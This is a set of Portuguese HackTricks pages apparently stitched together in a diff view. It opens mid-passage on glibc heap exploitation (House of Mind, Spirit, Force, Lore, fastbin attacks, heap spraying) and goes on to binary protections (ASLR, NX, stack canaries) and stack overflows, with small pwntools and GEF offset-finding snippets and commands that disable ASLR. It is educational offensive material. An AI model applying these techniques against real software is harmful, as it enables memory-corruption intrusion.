Portanto, se escrevermos o valor de \_\_DTOR\_END\_\_-12 em av->bins\[2], na última instrução, será escrito em \_\_DTOR\_END\_\_ o endereço do segundo chunk.
Ou seja, no primeiro chunk, no início, devemos colocar várias vezes o endereço de \_\_DTOR\_END\_\_-12, pois é de lá que av->bins\[2] o pegará.
No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins\[2] de lá.
No segundo chunk e graças ao primeiro, sobrescrevemos prev\_size com um jump 0x0c e size com algo para ativar -> NON\_MAIN_ARENA
Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode
Dessa forma, será chamado \_int\_free(CHUNK1, CHUNK2) e seguirá as instruções para escrever em \_\_DTOR\_END\_\_ o endereço do prev\_size do CHUNK2, que saltará para o shellcode.
Para aplicar essa técnica, alguns requisitos adicionais precisam ser atendidos, o que complica um pouco mais o payload.
Esta técnica já não é aplicável, pois quase o mesmo patch foi aplicado como para unlink. Eles são comparados se o novo local para onde aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind
interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que vamos sobrescrever.
Dado que com The House of Mind vimos que controlávamos a posição do av.
Então, se no campo size colocarmos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1], que apontará para av->max\_fast
Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como dissemos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante.
Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhum desses endereços serve para ser sobrescrito, então vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0] e podemos usar isso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, temos que encontrar isso: 4bytes nulos + EBP + RET
Os 4 bytes nulos são necessários para que o **av** esteja nesse endereço e o primeiro elemento de um **av** é o mutex que deve ser 0.
O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
No **av->fastbins\[0]** será sobrescrito com o endereço de **p** e será o RET, assim a shellcode será executada.
Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como dissemos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
**The House of Spirit**
Neste caso, procuramos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Se isso for cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço apontado pelo EBP da pilha há um chunk do tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow para um chunk que permita sobrescrever o wilderness
* Uma chamada para malloc() com o tamanho definido pelo usuário
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
Precisamos sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
vítima = av->top;
restante = chunck\_at\_offset(vítima, nb);
av->top = restante;
A vítima obtém o valor da direção do chunk wilderness atual (o av->top atual) e o restante é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante saber que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser útil, ele será retornado, mas se for alocado um chunk maior, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
Se houver um chunk no bin do tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:
bck = vítima->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço
bck->fd = bin; A lista é fechada fazendo com que ela aponte para bin
É necessário:
Reserve dois malloc, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tenha um pedaço liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito nele.
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja inserido em seu bin.
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para que aponte para o endereço que desejamos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado da vítima. Para que pareça um pedaço verdadeiro.
**Corrupção LargeBin**
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
**Heap Spraying**
Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. Assim, tenta-se saltar para o endereço 0x0c0c0c0c e, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
**Heap Feng Shui**
Consiste em cimentar a memória por meio de reservas e liberações, de modo que pedaços reservados fiquem entre pedaços livres. O buffer a ser transbordado será colocado em um desses pedaços.
## Cursos Interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,39 @@
# Proteções Comuns em Binários
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Habilitar Arquivos Core
**Arquivos Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem da memória do processo falhado no momento de sua terminação, incluindo a memória do processo, registradores e estado do contador de programa, entre outros detalhes. Este snapshot pode ser extremamente valioso para depuração e compreensão do motivo da falha.
### **Habilitar a Geração de Despejos de Core**
Por padrão, muitos sistemas limitam o tamanho dos arquivos core para 0 (ou seja, não geram arquivos core) para economizar espaço em disco. Para habilitar a geração de arquivos core, você pode usar o comando `ulimit` (em bash ou shells similares) ou configurar as configurações em todo o sistema.
* **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão de shell atual crie arquivos core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões.
```bash
ulimit -c unlimited
```
* **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite a todos os usuários gerar arquivos core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões.
```markdown
* soft core unlimited
```
### **Analisando Arquivos Core com GDB**
Para analisar um arquivo core, você pode usar ferramentas de debug como o GDB (GNU Debugger). Supondo que você tenha um executável que gerou um despejo core e o arquivo core se chama `core_file`, você pode iniciar a análise com:
```bash
gdb /path/to/executable /path/to/core_file
```
Este comando carrega o executável e o arquivo core no GDB, permitindo que você inspecione o estado do programa no momento do crash. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa do crash.

View file

@ -0,0 +1,88 @@
# ASLR
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## ASLR
**Address Space Layout Randomization (ASLR)** é uma técnica de segurança usada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.
### **ASLR Nem Tão Aleatório**
O PaX divide o espaço de endereço do processo em **3 grupos**:
* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamado `delta_mmap`.
* **A pilha** —> **24 bits**, referido como `delta_stack`. No entanto, ele efetivamente usa **11 bits** (do 10º ao 20º byte inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 possíveis endereços reais de pilha**.
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.
Nos sistemas de 64 bits, a entropia é muito maior e isso não é possível.
### **Verificando o Status do ASLR**
Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo `/proc/sys/kernel/randomize_va_space`. O valor armazenado neste arquivo determina o tipo de ASLR sendo aplicado:
* **0**: Sem randomização. Tudo é estático.
* **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
* **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de `brk()` é randomizada.
Você pode verificar o status do ASLR com o seguinte comando:
```bash
bashCopy codecat /proc/sys/kernel/randomize_va_space
```
### **Desativando ASLR**
Para **desativar** o ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Você também pode desativar o ASLR para uma execução com:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Ativar ASLR**
Para **ativar** o ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistência através de reinicializações**
As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Depois de editar `/etc/sysctl.conf`, aplique as alterações com:
```bash
sudo sysctl -p
```
Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -0,0 +1,40 @@
# No-exec / NX
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
O bit **No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de **ataques de estouro de buffer**. Quando implementado e ativado, ele distingue entre regiões de memória destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia principal é evitar que um atacante execute código malicioso por meio de vulnerabilidades de estouro de buffer, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
## Bypasses
* É possível usar técnicas como **ROP** para contornar essa proteção executando pedaços de código executável já presentes no binário.
* **Ret2libc**
* **Ret2printc**
* **Ret2...**
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -0,0 +1,37 @@
# Stack Canaries
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## **StackGuard e StackShield**
**StackGuard** insere um valor especial conhecido como um **canary** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando nulo, nova linha, EOF, retorno de carro) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**.
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite a comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor de limite para detectar se o **EIP** aponta para fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indicando que o StackShield também não protege variáveis locais.
## **Protetor de Stack Smash (ProPolice) `-fstack-protector`:**
Esse mecanismo coloca um **canary** antes do **EBP** e reorganiza as variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia com segurança os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura do usuário.
O **canary** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado no **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` é usado sem criar um novo canary, todos os processos (pai e filhos) compartilham o mesmo canary**, tornando-o vulnerável. Na arquitetura **i386**, o canary é armazenado em `gs:0x14`, e no **x86\_64**, em `fs:0x28`.
Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canary e no final para verificar sua integridade.
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canary por vez. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, anulando o ataque. `vfork()` permite que o processo filho execute sem duplicação até tentar escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
## Bypasses
* **Vazamento do canary** e então sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor.
* Se o canary for bifurcado em processos filhos, pode ser possível forçá-lo um byte de cada vez.
* Se houver alguma vulnerabilidade de vazamento interessante no binário, pode ser possível vazá-lo.

View file

@ -0,0 +1,97 @@
# Estouro de Pilha
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## O que é um Estouro de Pilha
Um **estouro de pilha** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que é alocado para segurar. Esses dados em excesso irão **sobrescrever o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema frequentemente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
O principal problema dessa sobrescrita é que os ponteiros **EIP** e **EBP** para retornar à função anterior são **armazenados na pilha**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**.
A vulnerabilidade geralmente surge porque uma função **copia mais bytes para a pilha do que a quantidade alocada para ela**, sendo capaz de sobrescrever outras partes da pilha.\
Algumas funções comuns vulneráveis a isso são: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
Por exemplo, as seguintes funções poderiam ser vulneráveis:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Encontrando Estouros de Pilha
A maneira mais comum de encontrar estouros de pilha é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado a ser acessado**.
Além disso, uma vez que você descobrir que há uma vulnerabilidade de Estouro de Pilha, será necessário encontrar o deslocamento até ser possível **sobrescrever o ponteiro EIP**, para isso geralmente é usado uma **sequência de De Bruijn**. Que para um dado alfabeto de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual toda subsequência possível de comprimento **_**n**_** aparece exatamente uma vez** como uma subsequência contígua.
Dessa forma, em vez de precisar descobrir manualmente qual deslocamento está sobrescrevendo o EIP, é possível usar uma dessas sequências como preenchimento e depois encontrar o deslocamento dos bytes que acabaram sobrescrevendo-o.
É possível usar o **pwntools** para isso:
```python
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
ou **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Explorando Estouros de Pilha
Durante um estouro de pilha (supondo que o tamanho do estouro seja grande o suficiente), você poderá sobrescrever valores de outras variáveis dentro da pilha até atingir o EBP e EIP (ou até mais).\
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o ponteiro EIP** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** nesse ponteiro.
No entanto, em outros cenários, talvez apenas **sobrescrever alguns valores de variáveis na pilha** seja suficiente para a exploração (como em desafios CTF fáceis).
### Ret2win
Nesse tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **deslocamento para sobrescrever o EIP** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections/aslr.md) estaria desativado) para que, quando a função vulnerável retornar, a função oculta será chamada:
{% content-ref url="ret2win.md" %}
[ret2win.md](ret2win.md)
{% endcontent-ref %}
### Ret2Shellcode
## Tipos de proteções
{% content-ref url="../common-binary-protections/" %}
